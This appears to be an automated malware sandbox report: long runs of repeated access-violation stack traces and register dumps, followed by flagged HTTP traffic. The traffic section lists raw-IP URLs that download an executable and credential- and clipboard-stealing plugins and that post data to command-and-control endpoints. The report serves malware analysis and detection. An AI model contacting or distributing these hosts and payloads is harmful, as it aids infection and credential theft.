0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 c8 8b 45 c8 89 45 c4 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80cfe0 registers.esp: 3533896 registers.edi: 3533948 registers.eax: 0 registers.ebp: 3533960 registers.edx: 4217000 registers.ebx: 3535188 registers.esi: 45210480 registers.ecx: 0	1
__exception__ May 30, 2023, 1:37 p.m.	stacktrace: 0x289d750 0x28996bc 0x2898f52 0x2898e25 0x28976db 0x2896871 0x80d57f 0x80779d 0x806e53 0x803c08 0x8035d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72b32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72b4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72b42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72bf74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72bf7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72c81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72c81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72c81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72c8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73e27f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73e24de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x289d793 registers.esp: 3532424 registers.edi: 3532768 registers.eax: 0 registers.ebp: 3532432 registers.edx: 0 registers.ebx: 3535188 registers.esi: 46158460 registers.ecx: 46931276	1
__exception__ May 30, 2023, 1:37 p.m.	stacktrace: 0x289d750 0x28996bc 0x2898f52 0x2898e3d 0x28976db 0x2896871 0x80d57f 0x80779d 0x806e53 0x803c08 0x8035d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72b32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72b4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72b42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72bf74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72bf7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72c81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72c81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72c81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72c8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73e27f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73e24de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x289d793 registers.esp: 3532424 registers.edi: 3532768 registers.eax: 0 registers.ebp: 3532432 registers.edx: 0 registers.ebx: 3535188 registers.esi: 46158460 registers.ecx: 47882768	1
__exception__ May 30, 2023, 1:37 p.m.	stacktrace: 0x289d750 0x28996bc 0x2898f52 0x2898e3d 0x28976db 0x2896871 0x80d57f 0x80779d 0x806e53 0x803c08 0x8035d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72b32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72b4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72b42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72bf74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72bf7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72c81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72c81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72c81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72c8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73e27f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73e24de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x289d793 registers.esp: 3532424 registers.edi: 3532768 registers.eax: 0 registers.ebp: 3532432 registers.edx: 0 registers.ebx: 3535188 registers.esi: 46158460 registers.ecx: 45225724	1
__exception__ May 30, 2023, 1:37 p.m.	stacktrace: 0x289d750 0x289e25e 0x289db19 0x2898e25 0x28979c4 0x2896871 0x80d57f 0x80779d 0x806e53 0x803c08 0x8035d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72b32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72b4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72b42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72bf74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72bf7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72c81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72c81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72c81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72c8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73e27f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73e24de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x289d793 registers.esp: 3532400 registers.edi: 3532792 registers.eax: 0 registers.ebp: 3532408 registers.edx: 0 registers.ebx: 3535188 registers.esi: 44856248 registers.ecx: 46181352	1
__exception__ May 30, 2023, 1:37 p.m.	stacktrace: 0x289d750 0x289e25e 0x289db19 0x2898e3d 0x28979c4 0x2896871 0x80d57f 0x80779d 0x806e53 0x803c08 0x8035d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72b32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72b4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72b42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72bf74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72bf7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72c81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72c81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72c81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72c8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73e27f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73e24de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x289d793 registers.esp: 3532400 registers.edi: 3532792 registers.eax: 0 registers.ebp: 3532408 registers.edx: 0 registers.ebx: 3535188 registers.esi: 44856248 registers.ecx: 47174904	1
__exception__ May 30, 2023, 1:37 p.m.	stacktrace: 0x289d750 0x289e25e 0x289db19 0x2898e3d 0x28979c4 0x2896871 0x80d57f 0x80779d 0x806e53 0x803c08 0x8035d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72b32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72b4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72b42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72bf74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72bf7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72c81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72c81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72c81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72c8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73e27f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73e24de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x289d793 registers.esp: 3532400 registers.edi: 3532792 registers.eax: 0 registers.ebp: 3532408 registers.edx: 0 registers.ebx: 3535188 registers.esi: 44856248 registers.ecx: 48168456	1
__exception__ May 30, 2023, 1:37 p.m.	stacktrace: 0x289d750 0x289eb8a 0x289e531 0x2898e25 0x2897adc 0x2896871 0x80d57f 0x80779d 0x806e53 0x803c08 0x8035d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72b32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72b4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72b42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72bf74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72bf7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72c81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72c81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72c81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72c8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73e27f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73e24de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x289d793 registers.esp: 3532452 registers.edi: 3532792 registers.eax: 0 registers.ebp: 3532460 registers.edx: 0 registers.ebx: 3535188 registers.esi: 44856248 registers.ecx: 49162128	1
__exception__ May 30, 2023, 1:37 p.m.	stacktrace: 0x289d750 0x289eb8a 0x289e531 0x2898e3d 0x2897adc 0x2896871 0x80d57f 0x80779d 0x806e53 0x803c08 0x8035d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72b32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72b4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72b42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72bf74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72bf7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72c81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72c81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72c81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72c8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73e27f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73e24de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x289d793 registers.esp: 3532452 registers.edi: 3532792 registers.eax: 0 registers.ebp: 3532460 registers.edx: 0 registers.ebx: 3535188 registers.esi: 44856248 registers.ecx: 50202864	1
__exception__ May 30, 2023, 1:37 p.m.	stacktrace: 0x289d750 0x289eb8a 0x289e531 0x2898e3d 0x2897adc 0x2896871 0x80d57f 0x80779d 0x806e53 0x803c08 0x8035d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72b32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72b4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72b42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72bf74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72bf7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72c81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72c81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72c81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72c8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73e27f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73e24de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x289d793 registers.esp: 3532452 registers.edi: 3532792 registers.eax: 0 registers.ebp: 3532460 registers.edx: 0 registers.ebx: 3535188 registers.esi: 44856248 registers.ecx: 44847292	1
__exception__ May 30, 2023, 1:37 p.m.	stacktrace: 0x289d750 0x289f29c 0x289ecf9 0x2898e25 0x2897be2 0x2896871 0x80d57f 0x80779d 0x806e53 0x803c08 0x8035d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72b32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72b4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72b42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72bf74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72bf7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72c81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72c81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72c81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72c8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73e27f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73e24de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x289d793 registers.esp: 3532484 registers.edi: 3532792 registers.eax: 0 registers.ebp: 3532492 registers.edx: 0 registers.ebx: 3535188 registers.esi: 44832144 registers.ecx: 45780264	1
__exception__ May 30, 2023, 1:37 p.m.	stacktrace: 0x289d750 0x289f29c 0x289ecf9 0x2898e3d 0x2897be2 0x2896871 0x80d57f 0x80779d 0x806e53 0x803c08 0x8035d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72b32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72b4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72b42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72bf74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72bf7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72c81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72c81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72c81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72c8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73e27f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73e24de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x289d793 registers.esp: 3532484 registers.edi: 3532792 registers.eax: 0 registers.ebp: 3532492 registers.edx: 0 registers.ebx: 3535188 registers.esi: 44832144 registers.ecx: 46823624	1
__exception__ May 30, 2023, 1:37 p.m.	stacktrace: 0x289d750 0x289f29c 0x289ecf9 0x2898e3d 0x2897be2 0x2896871 0x80d57f 0x80779d 0x806e53 0x803c08 0x8035d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72b32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72b4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72b42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72bf74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72bf7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72c81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72c81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72c81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72c8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73e27f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73e24de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x289d793 registers.esp: 3532484 registers.edi: 3532792 registers.eax: 0 registers.ebp: 3532492 registers.edx: 0 registers.ebx: 3535188 registers.esi: 44832144 registers.ecx: 47866696	1
__exception__ May 30, 2023, 1:37 p.m.	stacktrace: 0x289d750 0x740783 0x289fbce 0x28968c9 0x80d57f 0x80779d 0x806e53 0x803c08 0x8035d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72b32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72b4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72b42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72bf74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72bf7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72c81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72c81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72c81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72c8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73e27f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73e24de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x289d793 registers.esp: 3533304 registers.edi: 3533568 registers.eax: 0 registers.ebp: 3533312 registers.edx: 0 registers.ebx: 3535188 registers.esi: 48435568 registers.ecx: 48442544	1
__exception__ May 30, 2023, 1:38 p.m.	stacktrace: kds7uq5kknv+0x225a1 @ 0xb25a1 kds7uq5kknv+0x2252b @ 0xb252b kds7uq5kknv+0x6deb @ 0x96deb BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x74e833ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.symbol: exception.exception_code: 0xc0000005 exception.address: 0x0 registers.esp: 5897112 registers.edi: 7413760 registers.eax: 1944 registers.ebp: 5897176 registers.edx: 2130566132 registers.ebx: 7680 registers.esi: 1109600 registers.ecx: 2872	1
__exception__ May 30, 2023, 1:38 p.m.	stacktrace: kds7uq5kknv+0x225a1 @ 0x1b25a1 kds7uq5kknv+0x2252b @ 0x1b252b kds7uq5kknv+0x6deb @ 0x196deb BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x74e833ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.symbol: exception.exception_code: 0xc0000005 exception.address: 0x0 registers.esp: 6093656 registers.edi: 7938048 registers.eax: 2084 registers.ebp: 6093720 registers.edx: 2130566132 registers.ebx: 7680 registers.esi: 2158176 registers.ecx: 2188	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (5 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://95.214.27.98/cronus/index.php
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://95.214.27.98/lend/kds7uq5kknv.exe
suspicious_features	POST method with no referer header, Connection to IP address	suspicious_request	POST http://185.99.133.246/c2sock
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://95.214.27.98/cronus/Plugins/cred64.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://95.214.27.98/cronus/Plugins/clip64.dll

Performs some HTTP requests (5 events)

request	POST http://95.214.27.98/cronus/index.php
request	GET http://95.214.27.98/lend/kds7uq5kknv.exe
request	POST http://185.99.133.246/c2sock
request	GET http://95.214.27.98/cronus/Plugins/cred64.dll
request	GET http://95.214.27.98/cronus/Plugins/clip64.dll

Sends data using the HTTP POST Method (2 events)

request	POST http://95.214.27.98/cronus/index.php
request	POST http://185.99.133.246/c2sock

Allocates read-write-execute memory (usually to unpack itself) (50 out of 203 events)

Time & API	Arguments	Status
